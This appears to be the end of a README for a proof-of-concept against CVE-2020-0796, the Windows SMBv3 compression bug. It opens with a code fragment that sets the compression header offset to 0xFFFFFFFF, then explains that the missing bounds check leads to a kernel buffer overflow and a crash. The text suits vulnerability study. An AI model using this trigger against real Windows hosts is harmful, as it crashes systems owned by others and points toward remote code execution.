        header['original_size'] = len(b_data)
        header['offset'] = 4294967295
        header['data'] = smbprotocol.lznt1.compress(b_data)
```

## About

CVE-2020-0796 is a bug in Windows 10 1903/1909's new SMB3 compression capability. SMB protocol version 3.1.1 introduces the ability for a client or server to advertise compression cabilities, and to selectively compress SMB3 messages as beneficial. To accomplish this, when negotiating an SMB session, the client and server must both include a `SMB2_COMPRESSION_CAPABILITIES` as documented in [MS-SMB2 2.2.3.1.3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271).

Once a session is negotiated with this capability, either the client or the server can selectively compress certain SMB messages. To do so, the entire SMB packet is compressed, and a transformed header is prepended, as documented in [MS-SMB2 2.2.42](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0). This header is a small (16 bytes) structure with a magic value, the uncompressed data size, the compression algorithm used, and an offset value.

CVE-2020-0796 is caused by a lack of bounds checking in that offset size, which is directly passed to several subroutines. Passing a large value in will cause a buffer overflow, and crash the kernel. With further work, this could be developed into a RCE exploit.